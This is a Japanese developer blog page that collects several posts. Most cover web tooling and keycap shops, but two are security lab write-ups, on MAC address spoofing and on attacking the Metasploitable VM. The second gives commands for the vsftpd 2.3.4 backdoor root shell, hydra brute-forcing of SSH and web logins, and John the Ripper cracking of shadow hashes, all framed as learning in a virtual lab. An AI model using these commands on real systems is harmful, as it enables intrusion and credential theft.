とある会社の人と話していて、社内インフラの人がセキュリティ対策としてMacアドレスを見てアクセスを制限している。と聞いて、Macアドレスって簡単に偽装できるんじゃない？と思い調べてみました。
<h2 id="注意">注意</h2>
この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としています。 
決して外部の環境に対して悪意のある実行をしないようにしてください。
<h2 id="spoof">spoof</h2>
調べたら macOS, Windows, Linux で利用可能な Macアドレスを偽装できるCLIツールがあった。
<a href="https://github.com/feross/spoof" target="_blank">feross/spoof: Easily spoof your MAC address in macOS, Windows, &amp; Linux!</a>
<h3 id="インストール">インストール</h3>
<pre><code>$ npm i -g spoof
</code></pre>
<h3 id="使い方">使い方</h3>
<h4 id="Macアドレスの一覧を表示">Macアドレスの一覧を表示</h4>
<pre class="language-shell"><code class="language-shell">$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx
- ...
</code></pre>
<h4 id="ランダムなMacアドレスを設定">ランダムなMacアドレスを設定</h4>
<pre class="language-shell"><code class="language-shell"># root権限が必要
$ sudo spoof randomize en0
$ spoof list
- Wi-Fi on device en0 with MAC address xx:xx:xx:xx:xx:xx currently set to 00:50:56:6F:42:0A
- ...
</code></pre>
<h4 id="任意のMacアドレスを設定">任意のMacアドレスを設定</h4>
<pre class="language-shell"><code class="language-shell"># root権限が必要
$ sudo spoof set 
$ sudo spoof list
</code></pre>
<h4 id="Macアドレスをリセット">Macアドレスをリセット</h4>
<pre class="language-shell"><code class="language-shell"># root権限が必要
$ sodo spoof reset en0
</code></pre>
<h2 id="ツールを利用しない場合">ツールを利用しない場合</h2>
ツール使わなくても普通にできるようでした。 
<a href="https://yu8mada.com/2018/06/27/how-to-change-one-s-own-mac-address-using-terminal-on-macos/" target="_blank">macOS でターミナルを使って自分のMAC アドレスを変更する方法 - yu8mada</a>
<h4 id="Macアドレスの確認">Macアドレスの確認</h4>
<pre class="language-shell"><code class="language-shell">$ networksetup -listallhardwareports

Hardware Port: Wi-Fi
Device: en0
Ethernet Address: xx:xx:xx:xx:xx:xx

...

$ ifconfig en0 | grep ether
	ether xx:xx:xx:xx:xx:xx
</code></pre>
<h4 id="Macアドレスの設定">Macアドレスの設定</h4>
<pre class="language-shell"><code class="language-shell">$ sudo ifconfig en0 ether 60:d2:48:2f:39:64
$ ifconfig en0 | grep ether
	ether 60:d2:48:2f:39:64
</code></pre>
<h4 id="Macアドレスをリセット">Macアドレスをリセット</h4>
リセットの事を考えると spoof を利用した方が早そう。
<pre class="language-shell"><code class="language-shell">$ networksetup -getmacaddress Wi-Fi
Ethernet Address: xx:xx:xx:xx:xx:xx (Hardware Port: Wi-Fi)

$ sufo ifconfig en0 ether xx:xx:xx:xx:xx:xx
</code></pre>
<h2 id="まとめ">まとめ</h2>
調べたらMacアドレスの偽装は凄い簡単にできました。 
単純なMacアドレスのによるアクセス制御はあまり意味が無かったです。

Macアドレスを偽装する

Metasploitableという脆弱性が用意されたLinuxの仮想環境に対して攻撃を試すことで、Linuxのハッキング方法について学んだので、実際に試した攻撃についてまとめています。
<h2 id="注意">注意</h2>
この記事は攻撃方法を知ることでセキュリティを学ぶことを前提としており、実験も仮想環境上で実行しています。 
決して外部の環境に対して実行しないようにしてください。
<h2 id="参考">参考</h2>
<a href="https://www.shoeisha.co.jp/book/detail/9784798155302" target="_blank">ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習</a> 
第5章 「Metasploitableのハッキング」
<h2 id="ツール一覧">ツール一覧</h2>
<ul>
<li>Netcat
<ul>
<li>TCP/UDPの接続を利用したデータを送受信するCLIツール</li>
<li>ファイル転送など色々な用途に使える万能ツール</li>
</ul>
</li>
<li>nmap
<ul>
<li>攻撃対象の空いているポート番号を特定する（ポートスキャン）</li>
</ul>
</li>
<li><a href="https://www.exploit-db.com/" target="_blank">Explit-DB</a>、<a href="https://www.cvedetails.com/" target="_blank">CVE Details</a>
<ul>
<li>脆弱性を検索できるサービス</li>
</ul>
</li>
<li>hydra
<ul>
<li>オンラインのパスワードクラッキングツール</li>
</ul>
</li>
<li>Jhon the Ripper
<ul>
<li>暗号化されたパスワードの解析ツール</li>
<li>Linuxの /etc/shadow やWebサービスのDBに保存してある暗号化されたパスワードを解析して元の文字列を復元する</li>
</ul>
</li>
<li>wireshark
<ul>
<li>パケットキャプチャツール</li>
<li>ネットワーク内のパケットをキャプチャすることで、どこ対してどんな内容の通信がされているかを解析する。</li>
</ul>
</li>
</ul>
<h2 id="ポートスキャン">ポートスキャン</h2>
-p-: 1~65535番までのポート番号を対象とする 
-sV: 各ポートのサービスのバージョンを検出する 
-O: ターゲットのOSを特定する。
<pre><code>$ nmap -sV -O -p- &lt;IP&gt;
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 00:28 JST
Nmap scan report for 10.0.0.5
Host is up (0.00068s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
...
</code></pre>
<h2 id="vsftpdのバックドアを利用">vsftpdのバックドアを利用</h2>
vsftpd 2.3.4 には リモートからコマンド実行可能なバックドアが含まれている。 
（2011/06/30に埋め込まれて、2011/07/03 には修正済み） 
<code>:)</code> を含むユーザー名でFTPにログインするとポート6200(TCP)にバックドアが開く。
<pre><code>$ nc &lt;攻撃対象のIP&gt; 21
220 (vsFTPd 2.3.4)
USER hoge:)
331 Please specify the password.
PASS hoge
</code></pre>
別ターミナルで確認すると6200ポートが開いてる事が確認できる。
<pre><code>$ nmap -p 6200 &lt;IP&gt;
PORT STATE SERVICE
6200/tcp open lm-x
</code></pre>
6200ポートにバックドアが開くので、別ターミナルで6200にアクセスする。
<pre><code>$ nc -nv &lt;IP&gt; 6200
(UNKOWN) [&lt;IP&gt;] 6200 (?) open
whoami # コマンドを実行
root # 結果が返ってくる
</code></pre>
<h2 id="辞書攻撃でSSHアカウントの認証解析">辞書攻撃でSSHアカウントの認証解析</h2>
<pre><code># ユーザーの辞書ファイルを作成
$ cat &gt; user.lst
root
sys
...

# パスワードの辞書ファイルを作成
$ cat &gt; pass.lst
root
passwd
...

# 辞書ファイルを利用して総当たり
$ hydra -L user.lst -P pass.lst -t 4 &lt;IP&gt; ssh
</code></pre>
<h2 id="暗号化パスワードの解析">暗号化パスワードの解析</h2>
John the Ripper を利用してパスワードを解析する。 
<code>ユーザー名:暗号化パスワード</code> の形式で解析したいパスワードをファイルに保存してコマンドを実行
<pre><code>$ cat passwords
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

# 総当たり攻撃で解析（めっちゃ時間かかる）
$ john --incremental passwords
</code></pre>
<h2 id="HTTPの認証を解析">HTTPの認証を解析</h2>
hydra で認証ページに対して辞書攻撃をして有効なID/パスワードを見つける。 
http-form-post の書式は <code>&lt;認証APIのパス&gt;:&lt;送信パラメータ&gt;:&lt;認証失敗時のレスポンスに表示される文字列&gt;</code>となる。 
攻撃対象のURLや送信パラメータの構造は wireshark などでパケットキャプチャをして確認する。
<pre><code>$ hydra -L user.lst -P pass.lst -s &lt;Webサービスのポート&gt; &lt;ターゲットIP&gt; http-form-post &quot;/admin/j_security_check:j_username=^USER^&amp;j_password=^PASS^:Invalid username or password&quot;
</code></pre>

Metasplotableで体験するLinuxのハッキング

sudo実行するとユーザー環境のシェルで定義した環境変数が引き継がれない事を聞いたので実験してみました。
<h2 id="実験">実験</h2>
<pre class="language-shell"><code class="language-shell">#!/bin/sh
echo TEST;
</code></pre>
<pre><code>$ export TEST=hoge
$ sh test.sh
hoge

$ sudo sh test.sh

</code></pre>
確かに環境変数が引き継がれなかった。 
これ知らないとハマった時に問題見つけるの大変そうですね。

sudoで環境変数が引き継がれない

Node.jsでは処理が非同期のため出力されるログもリクエスト単位で固まって表示されない事があります。 
そこで、ログにリクエストIDをメタ情報として追記する事で、どのリクエストで発生したログか追跡しやすくなります。
今回は express で実装されたサーバーで全てのログにリクエストIDを付与する方法をまとめます。
<h2 id="実装">実装</h2>
<a href="https://github.com/t-yng/express-requestid-log" target="_blank">t-yng/express-requestid-log</a>
<pre class="language-javascript"><code class="language-javascript">require('zone.js');
const express = require('express');
const uuidv4 = require('uuid/v4');
const winston = require('winston');
const logger = require('./utils/logger');
const app = express();

/**
 * リクエスト毎にリクエストIDを発行してZoneの生成する
 */
const attachRequestId = (req, res, next) => {
 Zone.current.fork({
 name: 'request',
 properties: {
 requestId: uuidv4()
 }
 })
 .run(next);
}

const logger = winston.createLogger({
 level: 'info',
 format: winston.format.prettyPrint(),
 defaultMeta: {
 get requestId() {
 return Zone.current.get('requestId');
 }
 },
 transports: [
 new winston.transports.Console(),
 ]
});

app.use(attachReqestId);

app.get('/', (req, res) => {
 logger.info('request log', {
 path: req.path
 });
 res.send('hello world');
});

app.listen(3000, () => console.log('listening port 3000'));
</code></pre>
<h2 id="zone.js">zone.js</h2>
1つ目のポイントは <a href="https://github.com/angular/angular/tree/master/packages/zone.js" target="_blank">zone.js</a>です。
全てのログにリクエストIDを付与したいので、ロガーモジュールで共通処理としてリクエストIDを参照する必要があります。 
発行したリクエストIDをexpressのreqオブジェクトに紐づけると、ロガーモジュールからreqオブジェクトを参照する必要が出てきますが、 
ロガーはexpressのコンテキストからは独立したモジュールのため、reqモジュールを参照するのが困難です。
Globalオブジェクトに持つ事も考えましたが、Node.jsはシングルスレッドのため非同期でリクエスト毎にリクエストIDが上書きされる問題が発生します。
そこで、zone.jsを利用してリクエスト単位で値をグローバルに管理して、ロガーモジュールから参照可能にしています。
<h2 id="get構文">get構文</h2>
2つ目のポイントは、Objectの<a href="https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Functions/get" target="_blank">get構文</a>です。
ログ出力にwinstonを利用しており、<code>defaultMeta</code>に値を設定することで全てのログに共通のメタ情報として値を出力してくれます。 
しかし、リクエストIDは動的な値なため、実行タイミングで値が変わってしまいます。そこで、get構文とすることで<code>defaultMeta.requestId</code>に参照が発生したタイミングで動的に値が取得できるようにしています。
<h2 id="まとめ">まとめ</h2>
zone.jsの存在やget構文の使い方を理解できたのは良かったです。 
調べても意外にやり方があまり出てこなかったので、他の人がどうしているのかは非常に気になりました。 
インフラレイヤーでログ出力をしていて、アプリケーションレイヤーではリクエストIDを付与してログを出力しておらず、今回の対応は必要ないパターンが多いんですかね？

expressで全てのログにリクエストIDを出力する

JPEG画像にJavaScriptのコードを埋め込んでみる

アクセス解析をするためにブログにGoogleアナリティクスを導入しました。 
今後イベント取得の度に、リリースをするのは面倒なので、Googleタグマネージャーを設定して、アナリティクスの計測を設定しています。
今回はGatsby製のブログにGoogleタグマネージャーを設定する方法をまとめておきます。
<h2 id="Googleタグマネージャーのコンテナ作成">Googleタグマネージャーのコンテナ作成</h2>
最初にGoogleタグマネージャーのコンテナを作成しておきます。
<img src="/images/posts/gatsbyjs-gtm/gtm-container-new.png" alt="コンテナの作成" loading="lazy" width="714" height="619">
<h2 id="Googleアナリティクスの設定">Googleアナリティクスの設定</h2>
管理 &gt; +プロパティを作成 から新たに計測用のプロパティを作成しておきます。
<h2 id="プラグインの追加">プラグインの追加</h2>
<h3 id="gatsby-plugin-google-tagmanager">gatsby-plugin-google-tagmanager</h3>
<a href="https://www.gatsbyjs.org/packages/gatsby-plugin-google-tagmanager/" target="_blank">gatsby-plugin-google-tagmanager</a> を利用してGoogleタグマネージャーをページに埋め込みます。 
（&lt;head&gt;タグに直接&lt;script&gt;タグを埋め込む方法がが分からず、公式のプラグインがあったので利用しました。）
<h3 id="インストール">インストール</h3>
<pre class="language-bash"><code class="language-bash">$ yarn add gatsby-plugin-google-tagmanager
</code></pre>
gastby-config.js にプラグインの設定を追記します。
<pre class="language-javascript"><code class="language-javascript">{
 resolve: `gatsby-plugin-google-tagmanager`,
 options: {
 id: `GTM-5MKNQWX`,

 // Include GTM in development.
 // Defaults to false meaning GTM will only be loaded in production.
 includeInDevelopment: false,

 // datalayer to be set before GTM is loaded
 // should be an object or a function that is executed in the browser
 // Defaults to null
 defaultDataLayer: { platform: "gatsby" },

 // Specify optional GTM environment details.
 gtmAuth: "xNwDtuXDGlgZTO1P8TF2cg",
 gtmPreview: "env-1",
 dataLayerName: 'dataLayer',
 }
}
</code></pre>
設定する値は 管理 &gt; Live（公開中）&gt; コードを取得 の埋め込みコードから確認することができます。
<img src="/images/posts/gatsbyjs-gtm/gtm-script.png" alt="Googleタグマネージャーの埋め込みコード" loading="lazy" width="1171" height="368">
<h2 id="Googleタグマネージャーの設定">Googleタグマネージャーの設定</h2>
<h3 id="トリガーの作成">トリガーの作成</h3>
GatsbyJSはSPAでCSRで動作するため、変更の履歴をトリガーとして作成しておきます。
<h3 id="変数の作成">変数の作成</h3>
GAのトラッキングIDを設定した Googleアナリティクス設定 を変数として設定します。
<img src="/images/posts/gatsbyjs-gtm/gtm-ga-variable.png" alt="Googleアナリティクスの変数を作成" loading="lazy" width="720" height="290">
<h3 id="タグの作成">タグの作成</h3>
Googleアナリティクスにページビューを送信するタグを作成します。
Googleアナリティクスの設定には上で作成した変数を指定し、トリガーには「ページビュー」と「履歴の変更」の2つを設定しました。
初回のページ読み込みもトリガーさせるために、「ページビュー」も指定しています。
<img src="/images/posts/gatsbyjs-gtm/gtm-tag.png" alt="タグの作成" loading="lazy" width="731" height="384">
<h2 id="リリース前の確認">リリース前の確認</h2>
Googleタグマネージャーのプレビューモードを利用すれば、ローカルで埋め込みが正常に出来ているか確認できます。
ワークスペース &gt; プレビュー をクリックしてプレビューモードにした後に、ローカルで ページを表示します。
その際は次の設定を true に変更しておく必要があります。
<pre class="language-javascript"><code class="language-javascript">// Include GTM in development.
// Defaults to false meaning GTM will only be loaded in production.
includeInDevelopment: true,
</code></pre>
ワークスペース &gt; プレビュー をクリックしてプレビューモードにした後に、ローカルでサーバーを立ち上げてページを表示します。
正常にタグが埋め込まれている場合は、ローカルで表示したページ下部にGoogleタグマネージャーのプレビュー画面が表示されます。
<h2 id="リリース">リリース</h2>
以上の設定を終えたら、Googleタグマネージャーの公開 と プラグイン追加の変更を本番環境にリリースすれば導入は完了です。
<h2 id="おまけ">おまけ</h2>
自分のアクセスを計測対象外とするために <a href="https://chrome.google.com/webstore/detail/google-analytics-opt-out/fllaojicojecljbmefodhfapmkghcbnh" target="_blank">Google Analytics オプトアウト アドオン (by Google)</a> を利用しています。 
「ga.jsと連携して...」と書いてありますが、Googleタグマネージャーを経由する場合でも正常に動作してくれました。

Gatsby製のブログにGoogleタグマネージャー経由でGoogleアナリティクスを導入する

<a href="https://github.com/gatsbyjs/gatsby-starter-blog" target="_blank">gatsbyjs/gatsby-starter-blog</a> で作成したブログはデフォルトの状態ではコードのシンタックハイライトが無く非常に見辛いです。 
プラグインを設定してシンタックハイライトを導入します
<h2 id="プラグインの導入">プラグインの導入</h2>
gatsby-starter-blog には最初から <a href="https://gatsbyjs.org/packages/gatsby-remark-prismjs" target="_blank">gatsby-remark-prismjs</a> がプラグインとしてインストールされています。 
そのため、新たにプラグインをインストールする必要はなく、ハイライトのcss読み込み設定を修正するだけでシンタックハイライトを有効化できます。
<pre class="language-js"><code class="language-js"> {
 resolve: `gatsby-transformer-remark`,
 options: {
 plugins: [
 {
 resolve: `gatsby-remark-images`,
 options: {
 maxWidth: 590,
 },
 },
 {
 resolve: `gatsby-remark-responsive-iframe`,
 options: {
 wrapperStyle: `margin-bottom: 1.0725rem`,
 },
 },
 `gatsby-remark-prismjs`,
 `gatsby-remark-copy-linked-files`,
 `gatsby-remark-smartypants`,
 ],
 }, {
 resolve: `gatsby-transformer-remark`,
 options: {
 plugins: [
 {
 resolve: `gatsby-remark-images`,
 options: {
 maxWidth: 590,
 },
 },
 {
 resolve: `gatsby-remark-responsive-iframe`,
 options: {
 wrapperStyle: `margin-bottom: 1.0725rem`,
 },
 },
 `gatsby-remark-prismjs`, // 初期状態でインストール済み
 `gatsby-remark-copy-linked-files`,
 `gatsby-remark-smartypants`,
 ],
 },
</code></pre>
<h3 id="CSSの読み込み設定">CSSの読み込み設定</h3>
gatsby-browser.jsにて prismjs のテーマのCSS読み込みを追記します。 
デフォルトで利用できるテーマの一覧は <a href="https://github.com/PrismJS/prism/tree/1d5047df37aacc900f8270b1c6215028f6988eb1/themes" target="_blank">PrismJS/prism/themes</a> で確認できます。
<pre class="language-js"><code class="language-js">import "prismjs/themes/prism-tomorrow.css"
</code></pre>
<h2 id="シンタックハイライトを利用">シンタックハイライトを利用</h2>
pre記法に言語タグを指定することでシンタックハイライトを利用できます。 
利用可能な言語タグの一覧は <a href="https://prismjs.com/#supported-languages" target="_blank">prismjs</a> の公式ページに記載してあります。
<pre class="language-js"><code class="language-js">```js
console.log('シンタックハイライトだよ')
```
</code></pre>

gatsby-starter-blogでコードのシンタックスハイライトを設定

通販でキーキャップを購入する時に見たショップの一覧をまとめました。
<h2 id="国内">国内</h2>
<h3 id="遊舎工房">遊舎工房</h3>
国内でも有名なキーボード専門ショップです。自作キーボード周りで何か購入したい場合は、とりあえずここのショップを見るが早い気がする。
<a href="https://yushakobo.jp/product-category/keycaps/" target="_blank">https://yushakobo.jp/product-category/keycaps/</a>
<h3 id="TALP KEYBOARD">TALP KEYBOARD</h3>
DSAプロファイルやXDAプロファイルのキーキャップがバラ売りされてた。
<a href="https://talpkeyboard.stores.jp/?category_id=59be183f428f2d49120007b1" target="_blank">https://talpkeyboard.stores.jp/?category_id=59be183f428f2d49120007b1</a>
<h3 id="ゆかりキーボードファクトリー">ゆかりキーボードファクトリー</h3>
Tai-Hao というメーカーのキーキャップをメインに取り扱っていた。
<a href="https://eucalyn.shop/keycaps/" target="_blank">https://eucalyn.shop/keycaps/</a>
<h2 id="国外">国外</h2>
<h3 id="AliExpress">AliExpress</h3>
アリババグループにより運営されている大手ECサイトで、見た中で取り扱っている種類が一番多かった気がします。「キーキャップ dsa」とかで検索したら、プロファイルを絞って検索できるのが良かった。ただ、OEMプロファイルのキーキャップも検索結果に含まれていたので、検索結果を鵜呑みにせず商品説明とかで、プロファイルは確認しましょう。
<a href="https://ja.aliexpress.com/wholesale?catId=0&amp;initiative_id=SB_20210125042416&amp;SearchText=%E3%82%AD%E3%83%BC%E3%82%AD%E3%83%A3%E3%83%83%E3%83%97" target="_blank">https://ja.aliexpress.com/wholesale?catId=0&amp;initiative_id=SB_20210125042416&amp;SearchText=キーキャップ</a>
<h3 id="Tai-Hao Shop">Tai-Hao Shop</h3>
台湾のキーボードメーカー Tai-Hao の公式通販ショップ。カラフルなキーキャップが多いイメージがあり、バックライト対応のキーキャップがカテゴリー分けされて販売されていたのが良かった。 
取り扱いされている商品を全て見ていないが、OEMプロファイルが多い印象だった。
<a href="https://shop.tai-hao.com/categories/backlit-keycaps" target="_blank">https://shop.tai-hao.com/categories/backlit-keycaps</a>
<h3 id="zFrontier">zFrontier</h3>
共同購入ができる海外のショップ。共同購入は、発送まで数ヶ月と時間が要したり募集定員に満たない場合は生産されない可能性があるので、すぐに購入したい場合は難しそうだった。
種類は少ないが、すぐに購入ができる IN STOCK 商品もあった。
<a href="https://en.zfrontier.com/collections/keysets" target="_blank">https://en.zfrontier.com/collections/keysets</a>
<h3 id="DROP">DROP</h3>
取り扱いが多かった。欲しいプロファイルで絞り込みたい場合は、「cherry keycap」などで検索すると良い。
<a href="https://drop.com/mechanical-keyboards/wdrops?subcategory=keycaps" target="_blank">https://drop.com/mechanical-keyboards/wdrops?subcategory=keycaps</a>

通販でキーキャップを購入する時に見たショップの一覧をまとめました。

キーキャップを通販で購入する

<h2 id="Netfify CMSとは？">Netfify CMSとは？</h2>
任意の静的サイトジェネレーターと組み合わせて利用可能なNetlifyが提供するCMSツールです。 
テキスト編集やプレビュー機能、画像アップロードなどの機能をWebベースのUIとして提供してくれます。 
また、GitHubのAPIを内部で利用しており、管理画面上で記事作成 =&gt; githubにpush =&gt; netlifyにデプロイ のフローを自動で実施してくれます。
<h2 id="GastbyJSのテンプレートからブログを作成">GastbyJSのテンプレートからブログを作成</h2>
立ち上げるブログが無いと何も始まりません。
最初に GatbyJS の <a href="https://github.com/gatsbyjs/gatsby-starter-blog" target="_blank">gatsbyjs/gatsby-starter-blog</a> を利用してテンプレートからブログを作成します。
<pre class="language-shell"><code class="language-shell">$ yarn add global gatsby-cli
$ gatsby new blog https://github.com/gatsbyjs/gatsby-starter-blog
</code></pre>
たった2行でブログの作成が完了しました！ 
デザインの修正とかやりだすと、やる事が増えて結局途中で諦めてしまう可能性がある（自分の性格上そうなる）ので、とりあえず公開する事だけを目標とします。
デザインとかは後からゆっくり修正していきましょう。
<h3 id="Netlify CMS をインストール">Netlify CMS をインストール</h3>
続いて Netlify CMS をインストールします。
<pre class="language-shell"><code class="language-shell">$ cd blog
$ yarn add netlify-cms-app gatsby-plugin-netlify-cms
</code></pre>
<code>static/admin/gatsby-config.yml</code> ファイルを作成して次の内容を貼り付けます。
<pre class="language-yaml"><code class="language-yaml">backend:
 name: git-gateway
 branch: master

media_folder: static/images/uploaded
public_folder: /images/uploaded

collections:
 - name: "blog"
 label: "Blog"
 folder: "content/blog"
 create: true
 slug: "{{year}}-{{month}}-{{day}}-{{slug}}"
 editor:
 preview: true # プレビュー表示を有効化
 publish_mode: editorial_workflow # ワークフロー管理を有効化
 fields:
 - { label: "Title", name: "title", widget: "string" }
 - { label: "Publish Date", name: "date", widget: "datetime" }
 - { label: "Description", name: "description", widget: "string" }
 - { label: "Body", name: "body", widget: "markdown" }
</code></pre>
画像をアップロードする空ディレクトリを追加します。
<pre class="language-shell"><code class="language-shell">$ mkdir -p static/images/uploaded
$ touch static/images/uploaded/.gitkeep
</code></pre>
最後に <code>gatsby-config.js</code> にプラグインを追記します。
<pre><code>plugins: [`gatsby-plugin-netlify-cms`]
</code></pre>
CMSのインストールはこれだけです。 すごい簡単で感動ですね。
実際にローカル環境で確認してみましょう。
<pre><code>$ yarn development
</code></pre>
http://localhost:8000/admin にアクセスしてCMSのログイン画面が表示されたらOKです。
ログインするには後述する Netlify の認証設定が必要です。
<h3 id="ブログを公開する">ブログを公開する</h3>
ここまで来たら、いよいよNetlifyにブログを公開します。
最初にGitHubにリポジトリをデプロイします。
<pre class="language-shell"><code class="language-shell">$ git add .
$ git commit -m "Initial Commit"
$ git remote add origin https://github.com/YOUR_USERNAME/NEW_REPO_NAME.git
$ git push -u origin master
</code></pre>
続いて Netlify のページ上で <code>New Site From Git</code> を選択して手順に沿ってブログを公開します。
ビルド設定は次ように設定します。
<pre><code>Build Command: gatsby build
Publish directory: public/
</code></pre>
&lt;ブログのドメイン名&gt;/admin にアクセスすれば管理画面を表示できます。
<img src="/images/posts/netlify-cms/blog-template.png" alt="テンプレートの画面" loading="lazy" width="1930" height="1460">
テンプレートのままですが、自分のブログが公開されました (*'ω'ﾉﾉﾞ☆ﾊﾟﾁﾊﾟﾁ
<h2 id="CMSの管理ユーザーの作成">CMSの管理ユーザーの作成</h2>
CMSの管理画面にログインするために Netlify の認証設定をして管理ユーザーを作成しましょう。 Netlifyの管理画面から公開したサイトを選択して次の手順に沿ってアカウント作成の作業を進めます。
<ol>
<li>Settings &gt; Identity &gt; Enable Identity を選択</li>
<li>Registration preferences &gt; Edit Settings &gt; Invite only を選択 この設定をしないと誰でもアカウントを作成して管理画面にログインできてしまうので、よほどの理由がない限りは設定しておくことをオススメします</li>
<li>Services &gt; Git Gateway &gt; Enable Git Gateway をクリック</li>
<li>Identityタブに移動 &gt; Invite users をクリック 自分のメールアドレスを指定して自分を管理者として招待 送信された招待メールからアカウントを作成</li>
</ol>
これでCMSの管理画面にログイン出来るようになりました。
<h2 id="記事を投稿する">記事を投稿する</h2>
最後にCMSで最初の記事を投稿していきます。
<ol>
<li>/admin にアクセスして、管理画面にログイン</li>
<li><code>new blog</code> をクリック</li>
<li>記事を書いて <code>Save</code> をクリック</li>
<li>問題なければ Publish をクリック</li>
</ol>
以上で記事が公開されます。

GatsbyJS + Netlify CMS でエンジニアブログを立ち上げる

とあるフロントエンドエンジニアのブログ

記事一覧